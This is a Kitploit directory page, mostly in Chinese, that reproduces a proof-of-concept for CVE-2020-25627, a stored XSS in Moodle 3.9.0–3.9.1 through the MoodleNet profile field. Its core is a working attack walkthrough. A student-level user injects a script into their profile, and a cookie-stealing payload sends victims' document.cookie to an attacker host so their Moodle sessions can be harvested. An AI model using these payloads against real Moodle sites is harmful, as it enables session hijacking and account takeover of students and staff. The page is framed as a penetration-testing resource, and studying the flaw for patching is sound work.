Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-25627 — 通过用户配置文件中的 moodlenetprofile 参数实现的 Stored XSS | Kitploit
工具/GitHubGitHub/hoangkien1020/cve-2020-25627
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubhoangkien1020/cve-2020-25627

CVE-2020-25627

通过用户配置文件中的 moodlenetprofile 参数实现的 Stored XSS

查看仓库
35年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-25627

用户资料中的moodlenetprofile参数存储型XSS

关于此CVE的PoC

用户要求:学生(或者注册网站)

moodlenetprofile中的XSS

root@kitploit:~
Step 1: Log in with an authenticated user (Can register or through creating a new user without assigning roles )

Step 2: Quick access to Edit profile

domain/moodle/user/edit.php?id=<your user_id>&returnto=profile

In MoodleNet profile, add the script as:

<script>alert("HK")</script>

And save:

Step 3: Anytime, the other user goes to view your profile, the stored XSS will trigger.

Steal cookie via script:

<script>var i=new Image;i.src="http://192.168.0.238/xss.php?"+document.cookie;</script>

Change your domain and upload xss.php to your host:

https://github.com/HoangKien1020/pentest/tree/master/XSS

Done. You can view log.txt to get Moodle session.

moodlenetprofile参数

受影响版本:3.9.0 , 3.9.1

来源

https://moodle.org/mod/forum/discuss.php?d=410839

XSS影响(窃取cookie等),请参阅:

https://github.com/HoangKien1020/pentest/tree/master/XSS

下载工具